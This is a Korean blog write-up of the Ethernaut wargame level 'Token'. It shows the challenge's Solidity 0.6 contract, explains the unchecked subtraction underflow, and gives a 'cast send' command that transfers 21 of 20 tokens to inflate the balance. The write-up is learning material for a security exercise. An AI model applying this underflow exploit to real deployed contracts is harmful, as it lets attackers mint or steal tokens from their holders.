[Ethernaut] (5 Token)블록체인2024. 12. 25. 20:06
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
초반 토큰 20개를 주는데 이 토큰 개수를 늘려야한다.
솔리디티 버전이 0.8 이하 버전이고 SafeMath라이브러리 또한 사용하지 않고 있기 때문에 언더플로우가 발생한다.
20-21을 해서 언더플로우 발생시켜서 토큰개수를 최대로 늘린다.
cast send --rpc-url $RPC_URL --account Burnnnnny 0x157D40ADfb5647078E494ca7A41FCeE439834E14 "transfer(address, uint256)" 0x157D40ADfb5647078E494ca7A41FCeE439834E14 21

'블록체인' 카테고리의 다른 글
| [Ethernaut] (9 king) (0) | 2025.01.17 |
|---|---|
| [Ethernaut] (4 Telephone) (0) | 2025.01.04 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
| [Ethernaut] (7 Force) (0) | 2025.01.02 |
| [Ethernaut] (8 Vault) (0) | 2024.12.25 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.